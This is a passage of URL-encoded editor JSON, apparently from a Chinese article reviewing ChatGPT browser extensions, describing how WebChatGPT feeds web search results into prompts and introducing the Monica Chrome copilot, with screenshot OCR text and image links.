%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682590965867-0532de8b-9b2d-49f8-87cb-e6dbf471e41e.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1300%2C%22height%22%3A766%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A121922%2C%22width%22%3A1181.818156202963%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u765a8468-a8a9-4f8e-b3c9-5d7267fd423%22%2C%22clientId%22%3A%22u91e41265-b623-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A353%2C%22y%22%3A26%2C%22width%22%3A327%2C%22height%22%3A28%2C%22text%22%3A%22%E5%8F%AF%E8%AE%BF%E9%97%AE%E4%BA%92%E8%81%94%E7%BD%91%E7%9A%84CHATGPT%22%7D%2C%7B%22x%22%3A160%2C%22y%22%3A29%2C%22width%22%3A211%2C%22height%22%3A25%2C%22text%22%3A%22WEBCHATGPT%3A%22%7D%2C%7B%22x%22%3A85%2C%22y%22%3A28%2C%22width%22%3A47%2C%22height%22%3A18%2C%22text%22%3A%226%20000%22%7D%2C%7B%22x%22%3A956%2C%22y%22%3A35%2C%22width%22%3A104%2C%22height%22%3A16%2C%22text%22%3A%22%E6%B7%BB%E5%8A%A0%E8%87%B3CHROME%22%7D%2C%7B%22x%22%3A84%2C%22y%22%3A42%2C%22width%22%3A49%2C%22height%22%3A21%2C%22text%22%3A%22GPT%22%7D%2C%7B%22x%22%3A184%2C%22y%22%3A73%2C%22width%22%3A115%2C%22height%22%3A15%2C%22text%22%3A%22WEBCHATGPT.APP%22%7D%2C%7B%22x%22%3A755%2C%22y%22%3A221%2C%22width%22%3A33%2C%22height%22%3A16%2C%22text%22%3A%22%E7%9B%B8%E5%85%B3%22%7D%2C%7B%22x%22%3A459%2C%22y%22%3A221%2C%22width%22%3A75%2C%22height%22%3A16%2C%22text%22%3A%22%E9%9A%90%E7%A7%81%E6%9D%83%E8%A7%84%E8%8C%83%22%7D%2C%7B%22x%22%3A587%2C%22y%22%3A222%2C%22width%22%3A31%2C%22height%22%3A16%2C%22text%22%3A%22%E8%AF%84%E4%BB%B7%22%7D%2C%7B%22x%22%3A671%2C%22y%22%3A222%2C%22width%22%3A32%2C%22height%22%3A16%2C%22text%22%3A%22%E6%94%AF%E6%8C%81%22%7D%2C%7B%22x%22%3A375%2C%22y%22%3A222%2C%22width%22%3A32%2C%22height%22%3A14%2C%22text%22%3A%22%E6%A6%82%E8%BF%B0%22%7D%2C%7B%22x%22%3A471%2C%22y%22%3A388%2C%22width%22%3A218%2C%22height%22%3A32%2C%22text%22%3A%22WEBCHATGPT%22%7D%2C%7B%22x%22%3A311%2C%22y%22%3A513%2C%22width%22%3A534%2C%22height%22%3A14%2C%22text%22%3A%22WITH%20WEBCHATGPT%20YOU%20CAN%20AUGMENT%20YOUR%20PROMPTS%20WITH%20RELEVANT%20WEB%20SEARCH%20RESULTS%20FOR%22%7D%2C%7B%22x%22%3A311%2C%22y%22%3A534%2C%22width%22%3A191%2C%22height%22%3A15%2C%22text%22%3A%22BETTER%20AND%20UP-TO-DATE%20ANSWERS.%22%7D%2C%7B%22x%22%3A588%2C%22y%22%3A689%2C%22width%22%3A58%2C%22height%22%3A15%2C%22text%22%3A%22ANY%20TIME%22%7D%2C%7B%22x%22%3A721%2C%22y%22%3A689%2C%22width%22%3A71%2C%22height%22%3A16%2C%22text%22%3A%22ANY%20REGION%22%7D%2C%7B%22x%22%3A313%2C%22y%22%3A689%2C%22width%22%3A133%2C%22height%22%3A15%2C%22text%22%3A%22SEARCH%20ON%20THE%20WEB%22%7D%2C%7B%22x%22%3A469%2C%22y%22%3A690%2C%22width%22%3A50%2C%22height%22%3A13%2C%22text%22%3A%223%20RESULTS%22%7D%5D%2C%22search%22%3A%22%E5%8F%AF%E8%AE%BF%E9%97%AE%E4%BA%92%E8%81%94%E7%BD%91%E7%9A%84CHATGPT%20WEBCHATGPT%3A%206%20000%20%E6%B7%BB%E5%8A%A0%E8%87%B3CHROME%20GPT%20WEBCHATGPT.APP%20%E7%9B%B8%E5%85%B3%20%E9%9A%90%E7%A7%81%E6%9D%83%E8%A7%84%E8%8C%83%20%E8%AF%84%E4%BB%B7%20%E6%94%AF%E6%8C%81%20%E6%A6%82%E8%BF%B0%20WEBCHATGPT%20WITH%20WEBCHATGPT%20YOU%20CAN%20AUGMENT%20YOUR%20PROMPTS%20WITH%20RELEVANT%20WEB%20SEARCH%20RESULTS%20FOR%20BETTER%20AND%20UP-TO-DATE%20ANSWERS.%20ANY%20TIME%20ANY%20REGION%20SEARCH%20ON%20THE%20WEB%203%20RESULTS%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22averageHue%22%3A%22%23e4c9a1%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u78af231a%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u2844a350%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%BB%96%E7%9A%84%E5%AE%9E%E7%8E%B0%E6%96%B9%E6%A1%88%E7%89%B9%E5%88%AB%E6%9C%89%E6%84%8F%E6%80%9D%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua687a3c7%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E7%AE%80%E5%8D%95%E6%9D%A5%E8%AF%B4%EF%BC%8C%E4%BB%96%E4%BC%9A%E5%85%88%E6%8A%8A%E4%BD%A0%E7%9A%84%E9%97%AE%E9%A2%98%E6%8B%BF%E5%8E%BB%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E4%B8%8A%E6%90%9C%EF%BC%8C%E7%84%B6%E5%90%8E%E6%8A%8A%E7%BB%93%E6%9E%9C%E5%96%82%E7%BB%99ChatGPT%EF%BC%8C%E7%84%B6%E5%90%8E%E8%AE%A9ChatGPT%E4%BB%A5%E6%90%9C%E7%B4%A2%E7%BB%93%E6%9E%9C%E4%BD%9C%E4%B8%BA%E4%B8%8A%E4%B8%8B%E6%96%87%E5%AD%A6%E4%B9%A0%EF%BC%8C%E4%B9%8B%E5%90%8E%E5%86%8D%E5%9B%9E%E7%AD%94%E4%BD%A0%E7%9A%84%E9%97%AE%E9%A2%98%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u5f72b87e%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uada18718%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E6%8F%92%E4%BB%B6%E5%AE%89%E8%A3%85%E6%88%90%E5%8A%9F%E4%B9%8B%E5%90%8E%EF%BC%8C%E4%BD%A0%E7%9A%84%E5%AF%B9%E8%AF%9D%E6%A1%86%E4%B8%8A%E5%A4%9A%E4%BA%86%E5%BE%88%E5%A4%9A%E7%9A%84%E5%8F%82%E6%95%B0%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u27414139%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22ub4d301af%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682592750967-d7553575-e600-4129-8edc-f2e7a82c5f62.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A913%2C%22height%22%3A147%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A17506%2C%22width%22%3A829.9999820102349%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22ue590e131-8321-4618-8f05-a8b9eac2994%22%2C%22clientId%22%3A%22u91e41265-b623-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A38%2C%22y%22%3A40%2C%22width%22%3A129%2C%22height%22%3A21%2C%22text%22%3A%22%E6%8C%89%2F%E6%89%93%E5%BC%80%E5%91%BD%E4%BB%A4%E8%8F%9C%E5%8D%95%22%7D%2C%7B%22x%22%3A619%2C%22y%22%3A87%2C%22width%22%3A94%2C%22height%22%3A14%2C%22text%22%3A%22DEFAULT%20PROMPT%22%7D%2C%7B%22x%22%3A460%2C%22y%22%3A87%2C%22width%22%3A67%2C%22height%22%3A14%2C%22text%22%3A%22ANY%20REGION%22%7D%2C%7B%22x%22%3A223%2C%22y%22%3A88%2C%22width%22%3A50%2C%22height%22%3A12%2C%22text%22%3A%223%20RESULTS%22%7D%2C%7B%22x%22%3A117%2C%22y%22%3A88%2C%22width%22%3A77%2C%22height%22%3A14%2C%22text%22%3A%22WEB%20ACCESS%22%7D%2C%7B%22x%22%3A341%2C%22y%22%3A89%2C%22width%22%3A54%2C%22height%22%3A12%2C%22text%22%3A%22ANY%20TIME%22%7D%2C%7B%22x%22%3A170%2C%22y%22%3A113%2C%22width%22%3A94%2C%22height%22%3A14%2C%22text%22%3A%22WEBCHATGPT%20EXT%22%7D%2C%7B%22x%22%3A240%2C%22y%22%3A115%2C%22width%22%3A400%2C%22height%22%3A14%2C%22text%22%3A%22PT%20EXTENSION%20V3.27.IF%20YOU%20LIKE%20EXTENSION%2CPLEASE%20CONSIDER%20SUPPORTINGME.%22%7D%2C%7B%22x%22%3A74%2C%22y%22%3A129%2C%22width%22%3A667%2C%22height%22%3A14%2C%22text%22%3A%22FREE%20RESEARCH%20PREVIEN%20%20CHATGPT%20MAY%20PRODUCE%20INACCURATE%20INFORMATION%20ABOUT%20PEOPLE%2CPLACES%2C%20CHATGPT%20MARSIO%22%7D%5D%2C%22search%22%3A%22%E6%8C%89%2F%E6%89%93%E5%BC%80%E5%91%BD%E4%BB%A4%E8%8F%9C%E5%8D%95%20DEFAULT%20PROMPT%20ANY%20REGION%203%20RESULTS%20WEB%20ACCESS%20ANY%20TIME%20WEBCHATGPT%20EXT%20PT%20EXTENSION%20V3.27.IF%20YOU%20LIKE%20EXTENSION%2CPLEASE%20CONSIDER%20SUPPORTINGME.%20FREE%20RESEARCH%20PREVIEN%20%20CHATGPT%20MAY%20PRODUCE%20INACCURATE%20INFORMATION%20ABOUT%20PEOPLE%2CPLACES%2C%20CHATGPT%20MARSIO%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22averageHue%22%3A%22%23fbfbfb%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ubbebf0fa%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22udf6117d7%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(77%2C%2077%2C%2077)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22Web%20access%EF%BC%88%E6%98%AF%E5%90%A6%E8%A6%81%E5%BC%80%E5%90%AF%E8%81%94%E7%BD%91%E5%8A%9F%E8%83%BD%EF%BC%89%E3%80%81X%20results%EF%BC%88%E6%83%B3%E8%A6%81%E5%AE%83%E5%88%97%E5%87%BA%E5%87%A0%E6%9D%A1%E6%9D%A5%E6%BA%90%EF%BC%89%E3%80%81Time%EF%BC%88%E5%A4%9A%E4%B9%85%E4%B9%8B%E5%89%8D%E7%9A%84%E8%B5%84%E6%96%99%EF%BC%89%E3%80%81Region%EF%BC%88%E5%93%AA%E4%B8%AA%E5%9C%B0%E5%8C%BA%E7%9A%84%E8%B5%84%E6%96%99%EF%BC%89%EF%BC%8C%E4%BB%A5%E5%8F%8A%E6%9C%80%E5%8F%B3%E8%BE%B9%E7%9A%84Prompt%EF%BC%88%E9%BB%98%E8%AE%A4%E6%8C%87%E4%BB%A4%EF%BC%89%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ud19d0c81%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u01c88e8d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%2C%22color%22%3A%22rgb(77%2C%2077%2C%2077)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E9%80%9A%E8%BF%87%E9%85%8D%E7%BD%AE%E5%8F%82%E6%95%B0%E5%B9%B6%E5%BC%80%E5%90%AF%EF%BC%8C%E4%BD%A0%E5%8F%AF%E4%BB%A5%E8%8E%B7%E5%8F%96%E5%88%B0%E9%9D%9E%E5%B8%B8%E6%9C%89%E6%97%B6%E6%95%88%E6%80%A7%E7%9A%84%E5%86%85%E5%AE%B9%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u1308b557%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(77%2C%2077%2C%2077)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%EF%BC%8C%E6%AF%94%E5%A6%82%E8%AF%B4%E8%AF%A2%E9%97%AE%E5%A4%A9%E6%B0%94%E3%80%82%E5%9B%A0%E4%B8%BA%E6%AD%A3%E5%B8%B8%E6%9D%A5%E8%AE%B2%E4%BD%A0%E8%AF%A2%E9%97%AEchatgpt%E5%A4%A9%E6%B0%94%E4%BC%9A%E8%BF%94%E5%9B%9E%E8%BF%99%E6%A0%B7%E7%9A%84%E5%86%85%E5%AE%B9%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u73979664%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u4f4936f7%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682593526050-bebd4f7b-5999-4772-bf14-45f5a5acf11a.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A874%2C%22height%22%3A232%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A26671%2C%22width%22%3A794.545437324146%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u1ae28d34-4576-47c6-ba60-488e82db6f5%22%2C%22clientId%22%3A%22u91e41265-b623-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A756%2C%22y%22%3A68%2C%22width%22%3A100%2C%22height%22%3A17%2C%22text%22%3A%22%E4%BB%8A%E5%A4%A9%E5%8C%97%E4%BA%AC%E7%9A%84%E5%A4%A9%E6%B0%94%22%7D%2C%7B%22x%22%3A21%2C%22y%22%3A173%2C%22width%22%3A651%2C%22height%22%3A16%2C%22text%22%3A%22%E6%8A%B1%E6%AD%89%2C%E4%BD%9C%E4%B8%BA%E4%B8%80%E4%B8%AAAL%E8%AF%AD%E8%A8%80%E6%A8%A1%E5%9E%8B%2C%E6%88%91%E6%B2%A1%E6%9C%89%E8%87%AA%E5%B7%B1%E7%9A%84%E6%B5%8F%E8%A7%88%E5%99%A8%E5%B9%B6%E4%B8%8D%E8%83%BD%E7%9B%B4%E6%8E%A5%E8%8E%B7%E5%8F%96%E5%AE%9E%E6%97%B6%E7%9A%84%E5%A4%A9%E6%B0%94%E4%BF%A1%E6%81%AF.%E4%BD%86%E6%98%AF%2C%E6%82%A8%E5%8F%AF%E4%BB%A5%E9%80%9A%E8%BF%87%E6%90%9C%22%7D%2C%7B%22x%22%3A22%2C%22y%22%3A195%2C%22width%22%3A314%2C%22height%22%3A15%2C%22text%22%3A%22%E7%B4%A2%E5%BC%95%E6%93%8E%E6%88%96%E5%A4%A9%E6%B0%94%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E6%9D%A5%E8%8E%B7%E5%8F%96%E5%8C%97%E4%BA%AC%E5%AE%9E%E6%97%B6%E7%9A%84%E5%A4%A9%E6%B0%94%E4%BF%A1%E6%81%AF.%22%7D%5D%2C%22search%22%3A%22%E4%BB%8A%E5%A4%A9%E5%8C%97%E4%BA%AC%E7%9A%84%E5%A4%A9%E6%B0%94%20%E6%8A%B1%E6%AD%89%2C%E4%BD%9C%E4%B8%BA%E4%B8%80%E4%B8%AAAL%E8%AF%AD%E8%A8%80%E6%A8%A1%E5%9E%8B%2C%E6%88%91%E6%B2%A1%E6%9C%89%E8%87%AA%E5%B7%B1%E7%9A%84%E6%B5%8F%E8%A7%88%E5%99%A8%E5%B9%B6%E4%B8%8D%E8%83%BD%E7%9B%B4%E6%8E%A5%E8%8E%B7%E5%8F%96%E5%AE%9E%E6%97%B6%E7%9A%84%E5%A4%A9%E6%B0%94%E4%BF%A1%E6%81%AF.%E4%BD%86%E6%98%AF%2C%E6%82%A8%E5%8F%AF%E4%BB%A5%E9%80%9A%E8%BF%87%E6%90%9C%20%E7%B4%A2%E5%BC%95%E6%93%8E%E6%88%96%E5%A4%A9%E6%B0%94%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E6%9D%A5%E8%8E%B7%E5%8F%96%E5%8C%97%E4%BA%AC%E5%AE%9E%E6%97%B6%E7%9A%84%E5%A4%A9%E6%B0%94%E4%BF%A1%E6%81%AF.%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22averageHue%22%3A%22%23fbfbfa%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u02821a1a%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u16ddc331%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%BD%86%E5%A6%82%E6%9E%9C%E4%BD%A0%E4%BD%BF%E7%94%A8%E8%BF%99%E4%B8%AA%E6%8F%92%E4%BB%B6%EF%BC%8C%E4%BD%A0%E5%B0%B1%E5%8F%AF%E4%BB%A5%E8%8E%B7%E5%8F%96%E8%BF%99%E6%A0%B7%E7%9A%84%E7%BB%93%E6%9E%9C%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u498266d0%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ubd48f02c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ue4d51dcc%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u5ba987b0%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%BD%86%E8%A6%81%E6%B3%A8%E6%84%8F%E7%9A%84%E6%98%AF%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uf8ec0885%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E7%94%B1%E4%BA%8E%E6%8F%92%E4%BB%B6%E7%9A%84%E5%AE%9E%E7%8E%B0%E6%96%B9%E5%BC%8F%EF%BC%88%E9%80%9A%E8%BF%87%E8%BE%93%E5%85%A5%E6%90%9C%E7%B4%A2%E5%86%85%E5%AE%B9%E5%85%B3%E8%81%94%E4%B8%8A%E4%B8%8B%E6%96%87%EF%BC%89%EF%BC%8C%E4%BD%BF%E7%94%A8WebChatGPT%E4%BC%9A%E5%A4%A7%E5%B9%85%E5%BA%A6%E5%89%8A%E5%87%8F%E5%8E%9F%E6%9C%AC%E5%AF%B9%E8%AF%9D%E4%B8%AD%E7%9A%84%E4%B8%8A%E4%B8%8B%E6%96%87%E5%85%B3%E8%81%94%E5%BA%A6%EF%BC%8C%E6%89%80%E4%BB%A5%E4%B8%80%E8%88%AC%E6%9D%A5%E8%AF%B4%E5%8F%AA%E6%9C%89%E7%89%B9%E5%AE%9A%E7%9A%84%E5%9C%BA%E6%99%AF%E4%B8%8B%E6%89%8D%E4%BD%BF%E7%94%A8%E8%BF%99%E4%B8%AA%E6%8F%92%E4%BB%B6%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22rgK9b%22%2C%22name%22%3A%22h2%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uaaaf32cd%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(77%2C%2077%2C%2077)%22%7D%2C%22data%22%3A%22Monica%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u161bfac3%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u9a5db95f%22%2C%22name%22%3A%22link%22%2C%22attrs%22%3A%7B%22src%22%3A%22https%3A%2F%2Fchrome.google.com%2Fwebstore%2Fdetail%2Fmonica-%25E2%2580%2594-your-chatgpt-cop%2Fofpnmcalabcbjgholdjcjblkibolbppb%22%2C%22external%22%3Atrue%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6a14fdd5%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22https%3A%2F%2Fchrome.google.com%2Fwebstore%2Fdetail%2Fmonica-%25E2%2580%2594-your-chatgpt-cop%2Fofpnmcalabcbjgholdjcjblkibolbppb%22%7D%5D%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u557cc876%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u0536d3b8%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E8%BF%99%E4%B8%AA%E6%8F%92%E4%BB%B6%E6%98%AFGoogle%20for%20ChatGPT%E7%9A%84%E8%BF%9B%E9%98%B6%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uc694786e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E5%AE%83%E9%9B%86%E5%90%88%E4%BA%86%E4%BD%A0%E5%9C%A8%E4%B8%8A%E7%BD%91%E8%BF%87%E7%A8%8B%E4%B8%AD%E4%BC%9A%E9%81%87%E5%88%B0%E7%9A%84%E5%90%84%E7%A7%8D%E9%97%AE%E9%A2%98%E5%92%8C%E5%9C%BA%E6%99%AF%EF%BC%8C%E5%B9%B6%E9%80%9A%E8%BF%87chatgpt%E6%9D%A5%E8%BE%85%E5%8A%A9%E4%BD%BF%E7%94%A8%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u7e1143ab%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u50117907%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682594391179-8b208f56-54b1-45a3-ab6c-be5a3785068a.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1261%2C%22height%22%3A523%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A147225%2C%22width%22%3A1146.3636115168742%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22ua953fbdb-8c1d-4213-92ef-b13f8cdb43b%22%2C%22clientId%22%3A%22u91e41265-b623-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A156%2C%22y%22%3A36%2C%22width%22%3A562%2C%22height%22%3A28%2C%22text%22%3A%22MONICA-%E6%82%A8%E5%9C%A8CHROME%20%E4%B8%8A%E7%9A%84%20CHATGPT%E5%89%AF%E9%A9%BE%E9%A9%B6%22%7D%2C%7B%22x%22%3A937%2C%22y%22%3A44%2C%22width%22%3A120%2C%22height%22%3A15%2C%22text%22%3A%22%E4%BB%8ECHROME%E4%B8%AD%E5%88%A0%E9%99%A4%22%7D%2C%7B%22x%22%3A156%2C%22y%22%3A81%2C%22width%22%3A74%2C%22height%22%3A14%2C%22text%22%3A%22MONICA.IM%22%7D%2C%7B%22x%22%3A354%2C%22y%22%3A119%2C%22width%22%3A31%2C%22height%22%3A16%2C%22text%22%3A%22%E6%95%88%E7%8E%87%22%7D%2C%7B%22x%22%3A173%2C%22y%22%3A120%2C%22width%22%3A136%2C%22height%22%3A18%2C%22text%22%3A%22.811.811%22%7D%2C%7B%22x%22%3A405%2C%22y%22%3A119%2C%22width%22%3A113%2C%22height%22%3A14%2C%22text%22%3A%22300.000%2B%E4%BD%8D%E7%94%A8%E6%88%B7%22%7D%2C%7B%22x%22%3A584%2C%22y%22%3A231%2C%22width%22%3A31%2C%22height%22%3A16%2C%22text%22%3A%22%E8%AF%84%E4%BB%B7%22%7D%2C%7B%22x%22%3A456%2C%22y%22%3A231%2C%22width%22%3A76%2C%22height%22%3A16%2C%22text%22%3A%22%E9%9A%90%E7%A7%81%E6%9D%83%E8%A7%84%E8%8C%83%22%7D%2C%7B%22x%22%3A754%2C%22y%22%3A231%2C%22width%22%3A32%2C%22height%22%3A15%2C%22text%22%3A%22%E7%9B%B8%E5%85%B3%22%7D%2C%7B%22x%22%3A669%2C%22y%22%3A231%2C%22width%22%3A31%2C%22height%22%3A15%2C%22text%22%3A%22%E6%94%AF%E6%8C%81%22%7D%2C%7B%22x%22%3A372%2C%22y%22%3A232%2C%22width%22%3A32%2C%22height%22%3A14%2C%22text%22%3A%22%E6%A6%82%E8%BF%B0%22%7D%2C%7B%22x%22%3A319%2C%22y%22%3A359%2C%22width%22%3A337%2C%22height%22%3A19%2C%22text%22%3A%22MONICA-YOUR%20CHATGPT%20COPILOT%20IN%20CHROME%22%7D%2C%7B%22x%22%3A838%2C%22y%22%3A378%2C%22width%22%3A31%2C%22height%22%3A15%2C%22text%22%3A%22%E5%88%86%E4%BA%AB%22%7D%2C%7B%22x%22%3A752%2C%22y%22%3A378%2C%22width%22%3A58%2C%22height%22%3A16%2C%22text%22%3A%22%E7%A8%8D%E5%90%8E%E8%A7%82%E7%9C%8B%22%7D%5D%2C%22search%22%3A%22MONICA-%E6%82%A8%E5%9C%A8CHROME%20%E4%B8%8A%E7%9A%84%20CHATGPT%E5%89%AF%E9%A9%BE%E9%A9%B6%20%E4%BB%8ECHROME%E4%B8%AD%E5%88%A0%E9%99%A4%20MONICA.IM%20%E6%95%88%E7%8E%87%20.811.811%20300.000%2B%E4%BD%8D%E7%94%A8%E6%88%B7%20%E8%AF%84%E4%BB%B7%20%E9%9A%90%E7%A7%81%E6%9D%83%E8%A7%84%E8%8C%83%20%E7%9B%B8%E5%85%B3%20%E6%94%AF%E6%8C%81%20%E6%A6%82%E8%BF%B0%20MONICA-YOUR%20CHATGPT%20COPILOT%20IN%20CHROME%20%E5%88%86%E4%BA%AB%20%E7%A8%8D%E5%90%8E%E8%A7%82%E7%9C%8B%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22averageHue%22%3A%22%23e7ac8b%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ua0ce8937%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u23a